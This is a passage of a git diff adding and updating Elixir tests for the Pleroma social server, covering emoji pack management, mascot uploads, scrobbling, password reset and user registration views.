from the URL ending + from_url = %{ + "action" => "add", + "shortcode" => "blank_url", + "file" => "https://test-blank/blank_url.png" + } + + assert conn + |> post(emoji_api_path(conn, :update_file, "test_pack"), from_url) + |> json_response(200) == %{ + "blank" => "blank.png", + "blank_url" => "blank_url.png" + } + + assert File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png") + + assert conn + |> post(emoji_api_path(conn, :update_file, "test_pack"), %{ + "action" => "remove", + "shortcode" => "blank_url" + }) + |> json_response(200) == %{"blank" => "blank.png"} + + refute File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png") + end + + test "creating and deleting a pack" do + on_exit(fn -> + File.rm_rf!("#{@emoji_dir_path}/test_created") + end) + + admin = insert(:user, info: %{is_admin: true}) + + conn = build_conn() |> assign(:user, admin) + + assert conn + |> put_req_header("content-type", "application/json") + |> put( + emoji_api_path( + conn, + :create, + "test_created" + ) + ) + |> json_response(200) == "ok" + + assert File.exists?("#{@emoji_dir_path}/test_created/pack.json") + + assert Jason.decode!(File.read!("#{@emoji_dir_path}/test_created/pack.json")) == %{ + "pack" => %{}, + "files" => %{} + } + + assert conn + |> delete(emoji_api_path(conn, :delete, "test_created")) + |> json_response(200) == "ok" + + refute File.exists?("#{@emoji_dir_path}/test_created/pack.json") + end + + test "filesystem import" do + on_exit(fn -> + File.rm!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt") + File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json") + end) + + conn = build_conn() + resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + + refute Map.has_key?(resp, "test_pack_for_import") + + admin = insert(:user, info: %{is_admin: true}) + + assert conn + |> assign(:user, admin) + |> post(emoji_api_path(conn, :import_from_fs)) + |> json_response(200) == ["test_pack_for_import"] + + resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + assert resp["test_pack_for_import"]["files"] == %{"blank" => "blank.png"} + + File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json") + refute File.exists?("#{@emoji_dir_path}/test_pack_for_import/pack.json") + + emoji_txt_content = "blank, blank.png, Fun\n\nblank2, blank.png" + + File.write!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt", emoji_txt_content) + + assert conn + |> assign(:user, admin) + |> post(emoji_api_path(conn, :import_from_fs)) + |> json_response(200) == ["test_pack_for_import"] + + resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + + assert resp["test_pack_for_import"]["files"] == %{ + "blank" => "blank.png", + "blank2" => "blank.png" + } + end +end diff --git a/test/web/pleroma_api/controllers/mascot_controller_test.exs b/test/web/pleroma_api/controllers/mascot_controller_test.exs new file mode 100644 index 000000000..ae9539b04 --- /dev/null +++ b/test/web/pleroma_api/controllers/mascot_controller_test.exs @@ -0,0 +1,77 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + + import Pleroma.Factory + + test "mascot upload", %{conn: conn} do + user = insert(:user) + + non_image_file = %Plug.Upload{ + content_type: "audio/mpeg", + path: Path.absname("test/fixtures/sound.mp3"), + filename: "sound.mp3" + } + + conn = + conn + |> assign(:user, user) + |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file}) + + assert json_response(conn, 415) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + conn = + build_conn() + |> assign(:user, user) + |> put("/api/v1/pleroma/mascot", %{"file" => file}) + + assert %{"id" => _, "type" => image} = json_response(conn, 200) + end + + test "mascot retrieving", %{conn: conn} do + user = insert(:user) + # When user hasn't set a mascot, we should just get pleroma tan back + conn = + conn + |> assign(:user, user) + |> get("/api/v1/pleroma/mascot") + + assert %{"url" => url} = json_response(conn, 200) + assert url =~ "pleroma-fox-tan-smol" + + # When a user sets their mascot, we should get that back + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + conn = + build_conn() + |> assign(:user, user) + |> put("/api/v1/pleroma/mascot", %{"file" => file}) + + assert json_response(conn, 200) + + user = User.get_cached_by_id(user.id) + + conn = + build_conn() + |> assign(:user, user) + |> get("/api/v1/pleroma/mascot") + + assert %{"url" => url, "type" => "image"} = json_response(conn, 200) + assert url =~ "an_image" + end +end diff --git a/test/web/pleroma_api/pleroma_api_controller_test.exs b/test/web/pleroma_api/controllers/pleroma_api_controller_test.exs similarity index 100% rename from test/web/pleroma_api/pleroma_api_controller_test.exs rename to test/web/pleroma_api/controllers/pleroma_api_controller_test.exs diff --git a/test/web/pleroma_api/controllers/scrobble_controller_test.exs b/test/web/pleroma_api/controllers/scrobble_controller_test.exs new file mode 100644 index 000000000..881f8012c --- /dev/null +++ b/test/web/pleroma_api/controllers/scrobble_controller_test.exs @@ -0,0 +1,63 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ScrobbleControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.CommonAPI + import Pleroma.Factory + + describe "POST /api/v1/pleroma/scrobble" do + test "works correctly", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/pleroma/scrobble", %{ + "title" => "lain radio episode 1", + "artist" => "lain", + "album" => "lain radio", + "length" => "180000" + }) + + assert %{"title" => "lain radio episode 1"} = json_response(conn, 200) + end + end + + describe "GET /api/v1/pleroma/accounts/:id/scrobbles" do + test "works correctly", %{conn: conn} do + user = insert(:user) + + {:ok, _activity} = + CommonAPI.listen(user, %{ + "title" => "lain radio episode 1", + "artist" => "lain", + "album" => "lain radio" + }) + + {:ok, _activity} = + CommonAPI.listen(user, %{ + "title" => "lain radio episode 2", + "artist" => "lain", + "album" => "lain radio" + }) + + {:ok, _activity} = + CommonAPI.listen(user, %{ + "title" => "lain radio episode 3", + "artist" => "lain", + "album" => "lain radio" + }) + + conn = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/scrobbles") + + result = json_response(conn, 200) + + assert length(result) == 3 + end + end +end diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs index 3a7246ea8..dc6d4e3e3 100644 --- a/test/web/twitter_api/password_controller_test.exs +++ b/test/web/twitter_api/password_controller_test.exs @@ -6,6 +6,7 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do use Pleroma.Web.ConnCase alias Pleroma.PasswordResetToken + alias Pleroma.User alias Pleroma.Web.OAuth.Token import Pleroma.Factory @@ -56,5 +57,25 @@ test "it returns HTTP 200", %{conn: conn} do assert Comeonin.Pbkdf2.checkpw("test", user.password_hash) assert length(Token.get_user_tokens(user)) == 0 end + + test "it sets password_reset_pending to false", %{conn: conn} do + user = insert(:user, info: %{password_reset_pending: true}) + + {:ok, token} = PasswordResetToken.create_token(user) + {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{}) + + params = %{ + "password" => "test", + password_confirmation: "test", + token: token.token + } + + conn + |> assign(:user, user) + |> post("/api/pleroma/password_reset", %{data: params}) + |> html_response(:ok) + + assert User.get_by_id(user.id).info.password_reset_pending == false + end end end diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs index 08f264431..d1d61d11a 100644 --- a/test/web/twitter_api/twitter_api_test.exs +++ b/test/web/twitter_api/twitter_api_test.exs @@ -29,8 +29,8 @@ test "it registers a new user and returns the user." do fetched_user = User.get_cached_by_nickname("lain") - assert AccountView.render("account.json", %{user: user}) == - AccountView.render("account.json", %{user: fetched_user}) + assert AccountView.render("show.json", %{user: user}) == + AccountView.render("show.json", %{user: fetched_user}) end test "it registers a new user with empty string in bio and returns the user." do @@ -47,8 +47,8 @@ test "it registers a new user with empty string in bio and returns the user." do fetched_user = User.get_cached_by_nickname("lain") - assert AccountView.render("account.json", %{user: user}) == - AccountView.render("account.json", %{user: fetched_user}) + assert AccountView.render("show.json", %{user: user}) == + AccountView.render("show.json", %{user: fetched_user}) end test "it sends confirmation email if :account_activation_required is specified in instance config" do @@ -109,7 +109,9 @@ test "it registers a new user and parses mentions in the bio" do {:ok, user2} = TwitterAPI.register_user(data2) expected_text = - "@john test" + ~s(@john test) assert user2.bio == expected_text end @@ -146,8 +148,8 @@ test "returns user on success" do assert invite.used == true - assert AccountView.render("account.json", %{user: user}) == - AccountView.render("account.json", %{user: fetched_user}) + assert AccountView.render("show.json", %{user: user}) == + AccountView.render("show.json", %{user: fetched_user}) end test "returns error on invalid token" do @@ -211,8 +213,8 @@ test "returns error on expired token" do {:ok, user} = TwitterAPI.register_user(data) fetched_user = User.get_cached_by_nickname("vinny") - assert AccountView.render("account.json", %{user: user}) == - AccountView.render("account.json", %{user: fetched_user}) + assert AccountView.render("show.json", %{user: user}) == + AccountView.render("show.json", %{user: fetched_user}) end {:ok, data: data, check_fn: check_fn} @@ -286,8 +288,8 @@ test "returns user on success, after him registration fails" do assert invite.used == true - assert AccountView.render("account.json", %{user: user}) == - AccountView.render("account.json", %{user: fetched_user}) + assert AccountView.render("show.json", %{user: user}) == + AccountView.render("show.json", %{user: fetched_user}) data = %{ "nickname" => "GrimReaper", @@ -337,8 +339,8 @@ test "returns user on success" do refute invite.used - assert AccountView.render("account.json", %{user: user}) == - AccountView.render("account.json", %{user: fetched_user}) + assert AccountView.render("show.json", %{user: user}) == + AccountView.render("show.json", %{user: fetched_user}) end test "error after max uses" do @@ -361,8 +363,8 @@ test "error after max uses" do invite = Repo.get_by(UserInviteToken, token: invite.token) assert invite.used == true - assert AccountView.render("account.json", %{user: user}) == - AccountView.render("account.json", %{user: fetched_user}) + assert AccountView.render("show.json", %{user: user}) == + AccountView.render("show.json", %{user: fetched_user}) data = %{ "nickname" => "GrimReaper",